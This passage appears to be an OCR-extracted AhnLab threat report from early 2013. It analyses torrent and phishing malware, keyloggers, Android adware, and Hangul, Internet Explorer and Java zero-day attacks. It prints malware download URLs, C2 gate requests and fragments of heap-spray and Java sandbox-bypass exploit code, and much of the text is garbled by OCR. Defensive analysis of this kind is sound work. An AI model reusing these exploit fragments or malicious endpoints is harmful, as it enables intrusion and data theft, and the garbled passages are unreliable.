CO 07 6A 00 CB BO 07 B4 OE BB 07 00 90 CD 10 C3
8B 4E 02 8B S6 00 CD 13 73 S1 4F 74 4E 32 E4 8k
S6 00 CD 13 EB E4 8A S6 00 60 BB AR S5 B4 41 CD

with the removal tool for boot virus.
- Download path of the removal tool for boot virus: “http://asec001.

v3webhard.com/vaccine/v3_plite.exe”

V3 detects this malware in the following forms.
Win-Trojan/Urelas.47311 (2012.12.27.00)
Trojan/Win32.Urelas (2012.12.27.00)
Win-Trojan/Agent.309721 (2013.01.05.00)
Win-Trojan/Urelas.513536 (2013.01.05.00)
Win-Trojan/Urelas.659968.C (2013.01.05.00)
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New movie torrents are perfect for distributing
malware

Many internet users use file sharing sites (P2P) or torrent programs
to download or share desired new movies, games, or utility
programs. There have been recent reports about malicious codes
disguised as fake codec files that are included in movie torrent files,

so users need to exercise special caution.

The malicious codes are included in the movie torrent file of
“Gwanghae: The King" Gwanghae is a blockbuster movie with over
10,000,000 ticket sales, and almost 100,000 users have clicked on

the malicious torrent file since November 2012.

When the download is complete, you can see the files.The text file
contains the “In case of no sound or image, please install the LOL

codec1.2.exe file." message.

The video file (Gwanghae.The king.HDTV.720P.Royal.avi) downloaded
from the torrent site has the AVI extension, but it is actually a

compressed WinRAR SFX executable file.

When the LOL codec1.2.exe file is executed, the following malicious

code [r.exe) is created in the compromised systems.

Time ] Process [ PID #8500
. &0 LOL codec 1.2¢ e CREATE CﬂDOCUk( 1WADMINI~ IWLOCALS 1 TempWx, hami
e T ceslmnenly S~1WTempWx, Mmi
5! IEXPLORE EXE CREATE CWHINDOWSWGAMEWr.exe
s 3 e i awn DataWMi.,
25 EXPLORE CREATE IMI ooxv
5! EXPLORE. CREATE

[F|gure 1-29] File creation information

The created file registers itself in the system registry to automatically

run at system boot. (See [Figure 1-30].)

o
ARNAS BE| EROE
3 Ostematoyens A om [ o
» L PhonProgenyMandier g’l’h‘:l OS2 wesrow
j R Satche MM REG T WPTOpam Flas WCommon FiesWASobeW

CWProgram Fles WA eWPaader 3 OWFlea
it LNV Tray,

JUSCSCSCSCSOROROS o

b Use,

LOCALMAC

[Flgure 1-30] Registry registration information

It is assumed that the malicious code can be categorized into

XtreamRAT that transfers personal information or steals keyboard

strokes.

%‘R] Text strin:

1 LOL_code. t wsuchost. exe
PUSH £ (Initial CPU selection)

UNICODE “restart

16"
UNICODE *CONFIG™
| Text string

| UNICODE "XtreneKey logoer™
UNICOOE “qualquercoisarsrsr”

HE EET dhnLab

[F|gure 1 31] Mallcwus code strings



At the time of ASEC analysis, the connection to the malicious server
(118.%** ** 181:81) failed.

e a_ACIBY I (S01UCIIVACINSEIY)
L 9513 392,300, 09.120 CI92.104.35.228)
T Ports Tty GO4T). Sea: 1, A 1, Lans §

Ahnlab

)

[Figure 1-32] Network packet information

According to Google search results, this malicious torrent file is

» Internet rotecs), LAI6.12.18 QIR
 Trammtsyton Contrs) Pretocs), B¢ Porti B (KL

distributed through multiple torrent sites.

Advertising programs and other malicious codes can infiltrate user
systems through various movie files or programs distributed via
torrent programs to steal user information, resulting in serious
damage. Therefore, users need to be cautious when they download
files or programs illegally shared from file sharing sites or torrent

sites.

V3 detects this malware in the following forms.
Trojan/Win32.Injector (AhnLab, 2012.10.28.00)

Alert: Fraudulent spam e-mail in circulation!

There have been reports about a new malicious code that sends
fraudulent spam e-mails with special links. At the time of ASEC
analysis, the precise infiltration processes could not be verified,
but we assume that it is distributed through spam e-mails, specific

websites, or the vulnerability exploit of Java and PDF files.

This malicious code has been persistently circulated from the past.
According to the analysis result of collected droppers, the infection

damages have been reported until recently as shown in [Table 1-4].

Date File
2013-01-26 about[1].exe
2013-01-26 about[1].exe
2013-01-25 info[1].exe
2013-01-25 calc[1].exe
2013-01-25 wgsdgsdgdsgsd.exe
2013-01-25 wgsdgsdgdsgsd.exe
2013-01-25 wgsdgsdgdsgsd.exe
2013-01-25 info[1].exe
2013-01-24 info[1].exe
2013-01-24 info[1].exe

[Table 1-4] Recently distributed file information
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The malicious droppers hijack the web browser to the specific

URLs to download additional malicious code files.

- "4387a7b5506e0663.doc*********emala.com”
- "704bf4490382558f.2xc*****dry.com”

The droppers download and create the malicious file in this path.
- "%TEMP%\{StringsN\20130120153418.exe"

It creates the following files and its copy to register itself in the

system registry to automatically run at system boot.

- %systemroot%\system32\ohyhduearanf.exe (copy)
- %temp%\cnsddr0343433F.tmp

The created {String}.tmp file sends fraudulent spam e-mails,

resulting in excessive SMTP traffic.

racey. 1. com
-mastin.at]. sa. earthlink.net closing connection
7.1 your mail from IP 1.221.137.162 was rejected due to 1
PT TO: <kd75280pton] fne. net>
106 51 250 1tZHGZ6bVINTI650 Message accepred for delivery

SMTP packet capture

The malicious spam e-mails sent by malicious codes contain

specific links as shown in [Figure 1-34].

2w Apg: Weight loss now Free trials < Platimes,com>

S @R 2013-01-28 (§) 2% 11:220
e AR
az

HE Workouts for Wwomen

Workouts for Women

http://www. 2/ rattlesnakelanthanide /dXbHDZUBai=89LAe OGkjQfpBe,

=1 a4z No risk Beyonce Knowles Free trial <4
[ B ) i

W @R 2013-01-28 (8) 2% 11:37

HE: Re: deal

» &3

Don't lose out just lose it Free =rial
http://, - o nlwynnianthanide /dXbHDZU BaiX7d)=2uFfxiX2l

[Figure 1-34] Spam e-mail forwarded by malware

Clicking links in the spam e-mails hijacks the web browser to

access the following address.
- "www.rldaily****.com/?dXbHDZUB3gj7nRiINhMYWgH;j08"

The redirected page contains diet food advertisement contents and

no malicious code is distributed.

alai|
[3

Sgos =

Hote’ Gareinis Combonis s

FACTUAL STUDY: HYDROXYCITRIC ACID IN GARCINIA
CAMBOGIA BURNS FAT. 15 LB. LOSS MONTHLY!

of anday Jamiary 4. 3013 s 3 Avsiable O

MBOGIA FEATURED ON THE

. TN ESECEE T S T T (5

[Figure 1-35] Connected page from spam e-mail links




This site seems innocent, but could be exploited by malicious
codes. Users are advised to exercise increased caution before
opening links or attachments in e-mails from unfamiliar
addresses. Update major applications to the latest version to

minimize security threats.

1. Don’t open an e-mail from an unknown sender or with a suspicious
subject; delete it. Delete e-mails that might seem untrustworthy after
comparing the subject and sender.

2. Update anti-virus programs to the latest version. Use the real-time
protection function.

3. Do not execute the files attached to incoming e-mail. Execute them
after scanning them with anti-virus programs.

4. Do not click suspicious contents or uncertain links.

5. Use an anti-spam filter when you use mail accounts from portal sites.

V3 detects this malware in the following forms.
Trojan/Win32.Spamailer (2013.01.24.01)
Dropper/Win32.Daws (2013.01.24.01)

Tax Filing Season is Malicious Spam E-mail
Season!

At the beginning of each year, most taxpayers file their annual

income taxes and often get tax refunds.

The cyber criminals take advantage of this by imitating tax related
keywords. Since there is a high possibility that the attackers will
distribute malicious codes during this tax season, let's take a close
look at the newly discovered spam e-mail, claiming to be from the

Australian Taxation Office.

= ag: Tax Commissar [repor-id0381995E MVSHD @taxmonitoring. com)
= AR

BE

= You are in a hi tax jracket
-~ ARALID
The Federal income tax is a progressive tax, meaning that the more you eamr

Your tax rate depends not just upon your taxable income, but also upon you
married filing jointly, etc.).

[Figure 1-36] Tax-related spam e-mail case 1

To: pub. H.en
Subject:  Your Tax Payment ID 99927610 & faled.
Attach:  [fE)report. 1865300 (20.7 k8)

Your Federal Tax Payment ID: 56309010 has been rejected

Return Reason Code R21 - The identification number used in the Company Identification Field is not valid,
Please, check the mformat A n ab/hon contacts section:
attach name = report. 18688 pdf

In other way forward mformation to your accountant adwiser.

EFTPS

The Electronsc Federal Tax Payment System

PLEASE NOTE: Your tax payment 15 due regardless of EFTPS onlne avadability. In case of an emergency,
the EFTPS

[Figure 1-37] Tax-related spam e-mail case 2
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A new scam e-mail appeared to be from Australian Taxation
Office is currently in circulation. This bogus scam has the “Tax
Report.zip” file attached to it, and the e-mail asks to refer the
attachment. The decompressed file looks like an Excel file, but

it is actually an executable file with the EXE extension.

@ Tax Agent Report - Delayed Tax Returns
Ble €t Yew Jock Message e
g & .8 = X 0 O w
Reply  Reply Al Forward Print Delote

Frome Auzstrakan Taxation Office

Date: WJMIG 2013 11557 AM
Toc > .com.au

Subject: vnww Delayed Tax Returrs

Attach: (] Tax Report.2p (42.048)

Please do not respond to this email
Tax agent report for delayed tax returns over 30 days
Ploase find attached your weekly report for the period ending 100172013

What you need to do

Refer to the initial r with am(hmenl ent you with instr@iions on how to
interpret your tax
Yours sincerely

Deputy Commissioner of Taxation

IMPORTANT

‘The information transmitted is for the use of the mtended
recipsent only and may contan confidential and/or legally
privileged matenal Any review, re-transmission, disclosure,
dissemmation or other use of, or taking of any action in
reliance upon, this mformation by persons or entities other
than the intended recipent 1z prohsbted and may result m
severe penalties. If you have received this ¢-mad in error
please notify the Privacy Hotine of the Australian Tazation
Office, telephone 13 2869 and delete all copies of thes
transmission together with any attachments.

[Figure 1-38] Scam e-mail claiming to be from the Australian Taxation Office

Upon execution of the attachment, the "msrkuoi.com” file is
created. The "msrkuoi.com” file is then registered as a handle
in the wuauclt process. It attempts to connect to the France

server system to download additional malicious files.

[File Creation]
- C:\DOCUME~TNALLUSE~1\LOCALS~1\Temp\msrkuoi.

com

[Registry Registration]

- HKLM\SOFTWARE\Microsoft\Windows\
CurrentVersion\policies\Explorer\Run\62998
"C:\DOCUME~NALLUSE~1\LOCALS~1\Temp\msrkuoi.

com”

[Network Information]
- wuauclt.exe HTTP CONNECT 127.0.0.1 => 213.XXX.XX.19:80
XXXX.net//profiles/XXXX/translations/prx.exe

‘ Process - Type H
i wuauckexe 388 Hande CAD: L s\Local Settings\T emp\msrkuoi.com
[Figure 1-39] Malicious code working as a handle in the wuauclt process

V3 detects this malware in the following forms.
Trojan/Win32.Jorik



Employment and recruitment scams - Fake job
offers

Social Engineering as an act of psychological manipulation uses
social issues or impersonates a trust figure to trick people into
performing actions or stealing confidential information. Phishing
e-mails with hoax job offers have been newly discovered. The
e-mail domains of the sender and the recipient are identical as

shown in [Figure 1-40].

@ INCOMING FAX REPORT : Remote ID

777-674-9456 - 7|8 X2(KOIG-R|

| IRE BIE 2AW EID HANM SSFH

'ﬂ" & 8 '% X > 2 ALY
HY BRHN BE o AH o)@ e T

gl o

X Server
134 18 9 8% 27 216

godaddy.com. Jjodaddy.com
as: INCOMING FAX REPORT : Remote ID: 777-674-9456
e pcomingRecruftment.zip (TTTKB)

INCOMING FAX REPORT

Date/Time: 1/08/2013 03:14:52 EST
Speed: 62872 bps

Connection time: 09:02

Pages: 1

Resolution: Normal

Remote ID: 777-674-9456

Line number: 777-674-9456
DTMF/DID:

AhnL3ab

Description: Upcoming Recruitment Changes

<PY<HRY /P>
[Figure 1-40] Recruitment spam e-mail

When the malicious code disguised as a PDF file is executed, the
following files and registry key values are created to automatically
run at system boot. The file creation paths are the same
(%APPDATA%), but the folder names are specified with 4 random
alphabet characters, whereas various random sequences of

alphabet characters can be given as file names.

[Created files]

- C:\DOCUME~T\ADMINI~T\LOCALS~1\Temp\13978843.exe

- C:\Documents and Settings\Administrator\Application Data\Pybi\
puvyw.exe

[Created registry values]

- HKCU\Software\Microsoft\Windows\CurrentVersion\

Run\{4C07DB3F-FE50-AD7D-9383-D25FA52EF14D}
""C:\Documents and Settings\Administrator\Application Data\

Pybi\puvyw.exe""

The malware attempts to connect to the following sites to

download files or transfer encrypted data.

[Connected sites]

- 00014762 : “http://www1.geXXXXX.com:8080/ponyb/gate.php”
- 00014791 : “http://geXXXXXX.com:8080/ponyb/gate.php”

- 000147bb  : “http://91.XXX.XX.54:8080/ponyb/gate.php”

- 000147e2 : “http://sms.XXXXX.com:8080/ponyb/gate.php”

- 00014811 : “http://nro.XXXX/hgjm1k.exe”
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- 0001482e : “http://luhmann. XXXXX.de/yZx53.exe”
- 00014850 : “http://www.spec02.XXXXX.co.uk/s184DrY

Stream Content v

GET /yZx53.exe HTTP/1.0

HostT: ~ .bolde.de

Accept: */* n a

Accept-Encoding: identity, *;q=0
connection: close
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; windows 98)

[Figure 1-41] Spam e-mail sender

V3 detects this malware in the following forms.
Spyware/Win32.Zbot (AhnLab, 2013.01.09.00)

Malware disguised as a Hangul file

There have been recent reports about malware disguised as a

Hangul file that is designed to attack specific targets.

The malware uses a fake Hangul file icon, but it is actually an
executable file (Compressed SFX file). Users that think the
malicious file as an actual Hangul file double-click it to execute it,

and the Hangul file (hwp.hwp).

If the Hangul file is executed, then the following malicious codes

are created.

- C:\Documents and Settings\All Users\SxS\xxx.xxx (Malicious)

- C:\Documents and Settings\All Users\SxS\NvSmart.exe (Normal

- C:\Documents and Settings\All Users\SxS\NvSmartMax.dll
(Malicious)

- C:\DOCUME~NADMINI~T\LOCALS~1\Temp\hwp.exe (Malicious)

- C:\DOCUME~NADMINI~T\LOCALS~1\Temp\hwp.hwp (Normal)

The created files create registry values to work as system services.

ki)
 DENE3NCH
€ 106EBBO
O 11631C8

[Figure1-42] Registry creation information

Keyboard strokes are stolen from the compromised system and
saved in the kl.log file. We assume that error logs are also saved in

the bug.log file.

mE EIE 2ANW SANB XD S8FH

Q5z2- © ¥/ Pzu [8a [

7 2(0) (& C:WDocuments and Sa}ngs&lAll_UsersﬁSé v 0lIE

HILOW &

NvSman,,., NvSmar,,, bug.log K.log XXX, XXX

y [z 0IS

[Figure 1-43] Keylogging file (kLl.log)



The image below shows the bug.log file contents in Notepad.

P bug.log - HI2Z

meEE) BEE ME(Q)_ 2V S82H) | |
14 :30:08:

28013-901-31 fFile Join
» IR -WEE N KX J LE 13 ] a?

.cpp 3 [
Hox| Yuikr x72 (R7? SaE? arZ7? BRI,

[Figure 1-44] bug.log file information

The input which users type in is saved in the kl.log file. It is

o =
10080
L |

supposed to connect to a specific server to transfer keylogging

information, but the connection failed at the time of our analysis.

C kl.log - M2ZE

2013-01-31 11:22:22 1 C:WWINDOWSWExplorer .EXE
| TZSswnotepaduEEN2013-01-3 122:22 C:®WWIN
DOWSHWEXxplorer . EXE ] Program Managernnnannnnn2o
13-01-31 11:283:487 ] C:#Documents and Settings
WAdninistratorwBZ? ?winsysHuinsyswWinsys.exe |
Hx?t722?2 78 aalogWEEEEN2013-01-31 11:25:07 | C:
WWINDOWSHWsSysten32Wnotepad.exe | =2 37 - 712 e
TR TS RN § 5 8 5 888 8 8

keylog keylog testtest

[Figure 1-45] Keylogging information saved on the kL.log file

V3 detects this malware in the following forms.
Win-Trojan/Agent.261705 (V3, 2013.01.28.00)
Dropper/Agent.232173 (V3, 2013.01.28.03)
Backdoor/Win32.Etso (V3, 2012.07.05.00)
Win-Trojan/Agent (V3, 2013.01.28.03)

Hangul Zero-day Vulnerability Being exploited

The number of Hangul vulnerability attacks increased significantly

in 2012, compared to the previous year.

In June and November 2012, the previously unknown Hangul Zero-
Day attacks were reported and the number of vulnerability attacks

continuously increased.

- June 2012 - Malware distribution by exploiting Hangul Zero-day
vulnerability
- November 2012 - Malware disguised as a fake Hangul file

claiming to be a Korean defense message

The new attacks exploiting the previously unknown Hangul

vulnerability were reported on January 25.

The newly discovered malicious Hangul file that exploits Hangul

software vulnerability contains sensitive personal information.
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The structure of the Hangul file is shown in [Figure 1-46]. The
vulnerability occurs during image parsing of abnormal “BIN00O1.

bmp“in "BinData"..

T Ahnlab
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&
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Default/Script 272

- JScriptVersion 8

J BodyText

~== Sectiond 136926
Prvimage 3565
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= Versionlog0 214

= HistorylastDoc 31743
DocOptions

= _linkDoc 524
FileHeader 256
|HwpSummarylnformation 481
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[Figure 1-46] Vulnerable Hangul file structure with abnormal image file

The vulnerability in Hangul module that could allow code execution

occurs during TIFF image parsing in "HncTiff10.flt".

According to the ASEC internal test results, this Zero-day

vulnerability affects the following Hangul software versions.
- Hangul and Hancom Office 2007 and 2010

When the file is opened using Hangul version 2007 and 2010 with
the latest security updates, the vulnerability works immediately.
For the Hangul version 2010 without the latest security patch,
the error message displays as shown in [Figure 1-47] and the
vulnerability is exploited by clicking the OK button to close the

error message.

7| Zadl s 0oty
? Xﬂ] C:WDOCUME~ IWADMINI~ I WLOCALS~ 1 W TempWHncWBInDataWEMB000002eD6958.bmp Warning ‘z 1=
z2
=34 \l) incorrect count far field "DotRange” (1528, expecting 2); tag timmed
| [ ]
5 ‘
i Daﬂi'll—\ﬁznlrvlc ST LYY T T AhnLa
[Figure 1-47] Error message displayed in Hangul 2010 without the latest
security patch

If the malicious Hangul file with Zero-day vulnerability is open,
then other malicious codes are created as shown in [Figure 1-48].

Let's examine the actual transmission process.

Zero Day

HWP
[random].tmp ‘ w32time.exe
HncUpdate.exe ‘ [random].tmp

[random].tmp
AhnlLab
[Figure 1-48] Overall attack process of vulnerable Hangul file exploit

When the vulnerable Hangul file is open, the HncUpdate.exe



(641,024 bytes) is created in the following path.

- C:\Documents and Settings\[User account name]\Local Settings\

Temp\HncUpdate.exe

The created HncUpdate.exe (641,024 bytes) file uses the
GetTempFileName function to create three TMP files with random

file names in the following paths.

- C:\Documents and Settings\[User account name]\Local Settings\
Temp\[Random stringl.tmp (187,904 bytes)

- C:\Documents and Settings\[User account name]\Local Settings\
Temp\[Random string].tmp (181,760 bytes)

- C:\Documents and Settings\[User account name]\Local Settings\

Temp\[Random string].tmp (219,136 bytes)

One of the TMP files created by the ncUpdate.exe (641,024 bytes)
creates an additional TMP file (187,904 bytes) named w32time.exe
in the following path.

- C:\WINDOWS\system32\w32time.exe

To run the w32time.exe (187,904 bytes) file as a Windows service, it
creates the following key value as a Windows service name in the

following Windows registry path.

- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
w32time
ImagePath = C:\WINDOWS\system32\w32time.exe

The w32time.exe (187,904 bytes) file only has a file download
function. Upon the execution of the w32time.exe (187,904 bytes)
file, files with GIF or JPG extensions are downloaded from three

website addresses hardcoded in the file.

At the time of ASEC analysis, the downloaded files were damaged
and had GIF and JPG file signatures. (See [Figure 1-49].)

p10ad,/des 10n/00dy_bd. g
user-agent : winHrroclient
HOST : www. .co.kr
Connection: Keep-Alive

Ahnlab

HTTP/1.1 200 OK

Server: Apache

Date: Tue, 29 Jan 2013 03:00:24 GMT
Content-Type: image/gif

content-Length: 189

connection: keep-alive

Last-Modified: Tue, 29 Jan 2013 00:42:42 GMT
ETag: "2454653-bd-51071b02"

Accept-ranges: bytes

GIF89a.....00000 (e raae ] P SR S AR SRR !

x ..... (ol )] e 26 5 S S ok g b e e (S
O R A S = TSR S AR R R TS

oL |

As of January, the cyber attackers used damaged GIF and JPG
files, but it is assumed that they will soon change them into

different malicious codes to distribute multiple malware variants.

Two other TMP files with random names incapacitate the UAC (User
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Access Control] functions in Windows VISTA and Windows 7 to

execute the created malicious codes.

V3 detects this malware in the following forms.
HWP/Exploit

Trojan/Win32.agent
Win-Trojan/Agent.219136.DC
Dropper/Agent.641024.G
Win-Trojan/Agent.181760.HT

TrusWatcher detects this malware in the following form.

Exploit/HWP.AccessViolation-DE

ASD 2.0 MDP engine detects this malware in the following form.
Dropper/MDP.Exploit

Suspicious/ MDP.Exploit

Suspicious/MDP.Behavior

Suspicious/MPD.DropExecutable

Scan Red October malware with the OpenlOC tool

The security company article on "Red October™ malware for

sensitive information theft has created a stir around the world.

The purpose of this malware is sending phishing e-mails to
infiltrate computer networks at diplomatic, governmental, and
scientific research organizations, gathering confidential data and
intelligence from mobile devices, computer systems, and network
equipment. To minimize security threats and damages, the related
organizations are required to run intense scans for malicious code

detection.

The "Red October™ malware initially discovered in 2007 has been

spread all over the world. It targets specific organizations, mostly

in Eastern Europe and Central Asia.

OpenlOC

An Open Framework for Sharing Threat Intelligence

Sophisticated Threats Require Sophisticated Indicators

1. Preparation

-. The 10C file with the I0C finder and ‘Red October’ malware
information is required for system information collection and
data analysis. It can be downloaded from the following links.

- “http://www.mandiant.com/resources/download/ioc-finder/”



http://www.mandiant.com/resources/download/ioc-finder/

-“https://github.com/jaimeblasco/AlienvaultLabs/blob/master/
malware analysis/RedOctober/48290d24-834c-4097-abc5h-
4f22d3bd8f3c.ioc”

-. After decompressing the I0C finder, please copy the related I0C

files in the USB drives or shared folders to run iocfinder in the

specific PCs.

2. System information collection
-. With the following command, the I0C finder collects system
information.

"$ mandiant_ioc_finder collect -o c:\collect"

It might take an hour to collect all the required information. The
time can vary, depending on the system’s status. The collected
information is stored as an XML file in the c:\collect folder. The

created xml file will be moved later to the PC for analysis.

3. "Red October” analysis with the collected information
- After collecting all the necessary information files from systems,
“Red October" infection can be detected with the following

command.

"*$ mandiant_ioc_finder report -i[Saved 10C file] -s [Information

file path] -t doc -o [Report path to save]”

It takes about 3 minutes for analysis, and the result report is

generated as a DOC file.
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If "Red October” malware exists, then the file path, md5 hash, and

other information are saved as shown in [Figure 1-53].

indicator Name: Red October Campaign

File Name. File Path.
MDS5 Hash: File Last Last Entry

ne. | Aecessedo | Modifieds | Fle Size:

gdrke.swk: C:\Prograr FIesWAIndows NT
8bbS6c5bbesa04b0b2200029226605%7 || T30
CX Program Files\V
b3e771e5c045304028f357d6a7acf3c1+

1/232013 | 01/23/2013 74573
S 05:00:062+ il

ost.exer

09 | 01/23/2013 | 01/23/2013 | 5, 4cc,

04:59:40Z+ | 05:00:06Z
Table 2: File Metadata

The report could have been saved in HTML format, but this caused
a bug at the time of ASEC analysis. Therefore, it was saved in DOC
format. If you type in html for the -t option, then the report will be

saved in HTML format.

4. Conclusion

We have reviewed how to detect "Red October” malware with the
OpenlOC tool. As the OpenlOC tool requires an hour to collect
necessary information, it would be more effective to use general

antivirus programs for simple malicious code scans.

It is recommended to use the OpenlOC tool only for systems where
general antivirus programs cannot be used, or highly intensive
scans that normal antivirus programs cannot provide, and for
in-depth analysis of collected information (system and network

information] in case of system infection.


https://github.com/jaimeblasco/AlienvaultLabs/blob/master/malware_analysis/RedOctober/48290d24-834c-4097-abc5-4f22d3bd8f3c.ioc
https://github.com/jaimeblasco/AlienvaultLabs/blob/master/malware_analysis/RedOctober/48290d24-834c-4097-abc5-4f22d3bd8f3c.ioc
https://github.com/jaimeblasco/AlienvaultLabs/blob/master/malware_analysis/RedOctober/48290d24-834c-4097-abc5-4f22d3bd8f3c.ioc
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As of January, these three applications were removed from Google

Play store, but can be downloaded from 3rd party markets. appear.
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Upon application installation, the icons in [Figure 1-58] are created.

When the application is executed, the screens in [Figure 1-59]



Sexy Girls Live Wallpaper

Taking the permission information of Android-based applications

into account, malicious actions can be predicted.

Upon execution of the application, the following information is

collected and transferred to a specific server.

- E-mail addresses

- IMEl information

- Location information

- Package name information

- APN (Access Point Name) information of mobile company

The actual network transmission processes are shown in [Figure
1-60].

| YO BIO MHNO 2V E8BH

POST /aetur|.aspx? -
emai |-k ol 14  “I-3gmail .com&imei=000000000000000& | at=0&|
on=0&mob i | e=true&garoup=0&pname=1| ive.wal lpaper .freshgirls.g2
&mcc=310

&mnc=260 HTTP/1.1

Content-Length: 10

Content-Type: application/x-www—form-urlencoded

Host: ads.betnteta.com

Connection: Keep-Alive

POST /geturl.aspx?

emai |=&imei=000000000000000& | at=0& | on=0&mob i | e=t rue&group=0
&pname=sexygirls.wal Ipaper.hard.gl&mcc=310&nnc=260 HTTP/1.1
Content-Length:

Content-Type: application/x-www—form-urlencoded

Host: hostf.WiIHATA COM

Connection: Keep-Alive

I
reqg=server
! AhnLab

You need to check the user reviews and application permission
information before you download applications from the Google Play

store.

Always be careful when installing applications with similar
functions, and make sure to regularly scan your devices with

antivirus programs like V3 Mobile.

V3 Mobile products detect these applications as GWalls or Airpush.
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Security Statistics

Microsoft Security Updates- January 2012

Microsoft issued 8 security updates (3 critical and 5 important)
in January 2013. These security updates include the MS01-008
security patch for the CVE-2012-4792 Internet Explorer Zero-
day vulnerability. Internet Explorer users need to install the latest

security patches to keep their PCs safe.

MS13-001 Vulnerability in Windows print spooler components
could allow remote code execution (2769369)

MS13-002 Vulnerability in Microsoft XML Core Services could
allow remote code execution (2756145)

MS13-008 Internet Explorer security update (2799329)

Important

MS12-003 Vulnerability in System Center Operations Manager
could allow elevation of privilege (2748552)

MS13-004 Vulnerability in .NET Framework could allow
elevation of privilege (2769324)

MS13-005 Vulnerability in Windows Kernel mode driver could
allow elevation of privilege (2778930

MS13-006 Vulnerability in Microsoft Windows could allow
security function bypass (2785220)

MS13-007 Vulnerability in Open Data Protocol could allow
denial of service (2769327)

[Table 2-1] MS security updates for January 2013
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[Figure 2-1] MS Security Updates
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Security Issues

Internet Explorer Zero-day vulnerability (CVE-
2012-4792) exploit

There have been reports about malicious code attacks exploiting the

previously unknown Zero-day vulnerability in Internet Explorer.

According to the Washington Free Beacon article, “Chinese Hackers
Suspected in Cyber Attack on Council on Foreign Relations”, the
Council on Foreign Relations (CFR) website was hacked by exploiting

the newly discovered |E Zero-day vulnerability.

Microsoft released a security advisory, “Microsoft Security Advisory
(2794220) Vulnerability in Internet Explorer Could Allow Remote
Code Execution”, to provide detailed information related to the Zero-

day vulnerability in Internet Explorer.

This Zero-day vulnerability affects the following Internet Explorer
versions.

- Internet Explorer 6

- Internet Explorer 7

- Internet Explorer 8

Several Java scripts and Adobe Flash files are used to infiltrate the
Council on Foreign Relations (CFR] website by exploiting the IE Zero-
day vulnerability. The overall attack process is shown below.
robots.txt

help.html news.html

today.swf

xsainfo.jpg

flowertep.jpg

AhnlLab

[Figure 2-2] Overall process of Zero-day vulnerability attacks
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Security Trend

The help.html (4,389 bytes) file used for |IE Zero-day vulnerability
attacks is created to conduct malicious actions only when the 0S
language is set to Korean, Chinese, English, Taiwanese, Japanese,

and Russian.

if(g!="object")
{

Ahnlab

location.href="about:blank";
}
var h=navigator.systemLanguage.tolowerCase();

| if(h!="zh-cn" && h!="en-us” && h!= "zh-tw"&& h!= "ja" && h!= "ru"ssh!= "ko" )
& |( I

location.href="about:blank";
}

[Figure 2-3] 0S language code

It is also created to call two Adobe Play files, today.swf (4,057 bytes)
and news.html (849 bytes).

width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" valug=\"today.swf\"| />

<param name=\"allowFullScreen\" value=\"true\" /></object><iframe lrifzam)":

[Figure 2-4] Call vulnerable Adobe Flash files

The today.swf (4,057 bytes] file that supposedly exists in the same
path of hacked systems contains heap spray overflow code and
shellcode. (See [Figure 2-5].)

J— AhnLab

var locd:* = 0;
var loc?:* = undefined;
var loc8:* = 0;

. T
| var locO:* =

lecl.endian = Endian LITTLE_ENDIAN:

var locd:* = 0;

this. 08_Version = this.080);

var loc§:* = Externallnterface.call("sval”, “document.getBlementById('test').innerHTHL"):
loez = 0;

while(locZ < 3340 / 4)

[Figure 2-5] Shellcode included in the vulnerable Adobe Flash file

433C08BF781

-utnl7577su7losoa7sr1]

The xsainfo.jpg (509,440 bytes) file downloaded by the shellcode
is encoded as XOR as shown in [Figure 2-6]. When the JPG file is
decoded, the flowertep.jpg (509,440 bytes) is created.
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[Figure 2-6] Decoded file

When the decoded flowertep.jpg (509,440 bytes) is successfully

Aib. 0t Al yot
Aud . yOt Aiid.yor

executed, it attempts to connect to the system domain (web.
vipreclod.com) in the U.S. The connection failed at the time of ASEC

analysis.
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ookie: ASPSESSIONIDSSTDBASB=BEINHDKCEBHMGIBEGGMDIPIEG

TTP/1.1 404 not Found

da: 1.1 WIN-9UHI150QPVR

onnection: Keep-alive
proxy-Connection: Keep-alive
ontent-Length: 103
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ontent-Type: text/htm]

erver: Microsoft-I115/6.0
X-Powered-By: ASP.NET
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[Figure 2-7] Connection to the specific system

When the system connection succeeds, a specific JPG file might

be downloaded to conduct malicious actions. The downloaded file

contains malicious codes to carry out the following actions.

- Hook keyboard strokes
- 0S information
- |IP information

- Conduct Command Line

Microsoft released a security patch to resolve this Zero-day

vulnerability (CVE-2012-4792) on January 8.

Before installing the security patch, it is recommended to use
Internet Explorer version 9 or 10 or other web browsers because

they are not affected by this vulnerability.

In case of using an IE version affected by this zero-day vulnerability,
you should install FixIT “Microsoft ‘Fix it" available for Internet

Explorer 6,7, and 8.

V3 detects this malware in the following forms.
JS/Agent

SWF/Cve-2012-4792

Binimage/Cve-2012-4792

Binlmage/Diofopi

Downloader/Win32.Agent
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Java Zero-day CVE-2013-0422 attacks are being
steadily increasing

The number of Java Zero-day vulnerability is continuously on the
rise this year. Java vulnerabilities can be exploited independently
regardless of 0S, so it is usually exploited to infect Windows and Mac

systems.

Java CVE-2013-0422 Zero-day vulnerability attacks discovered at the
beginning of January are exploiting Java Management Extensions

(JMX) vulnerability to bypass the JVM sandbox function.

JMX is a package for remote client access to the JVM. The
vulnerability occurs in the findClass method in the com.sun.jmx.
mbeanserver.MbeanInstantiator class of the JMX package. The Jar file
class structure exploiting the Java vulnerability is shown in [Figure 2-8].

ey ME TA-INF

[J) ewjvaiwebvhtuail2da
(3] hw
[J] test

-

+ &

[Figure 2-8] Jar file for Java Zero-day attack

The decoded Jar file has malicious classes that use jmx.

mbeanserver.
yitic — e
i —
i
)
. S— .
—_—
i
P o e

Class.class, new Class(] ( NethodType.class
Lookup.cl 100, 1

MethodType locallethodType = MethodType. ethodType(Void. TVEE) ;
K object(] ( locallookup, :

Gbject localObjectl = locallethodHandlez. snvokeV thhtguments (new 0bject(0]) ;
thodType - MethoaType lass, Clas

s.class, new Class(] ( String.class, Kei
1o

HethodType - MethodType. acthodType(LocalCl. LassLoader. el

- object(] ( locallookup, :
Object localObject2 = locallethodHandled. snvokels thhzgunents (new Object(] ( localObjectl, mull }):
HethodType - MethodType 1 lass, new Class() { (8.class })
= Object(] ( locallookup,
mal, arrayofByte })

Class localClassd =
LocalClass3.newlnstance () ;

Method localllethod = localCisss3.getlechod("s", new Class(] ( Steing.class, Class.class )):
Localllethod. invoke (w11, new Object(] ( ;

Obsecer) ( localob:

)
cateh (Exception localException)

[Figure 2-9]Malicious classes for Java Zero-day attacks
As the CVE-2013-0422 vulnerability and other known Java
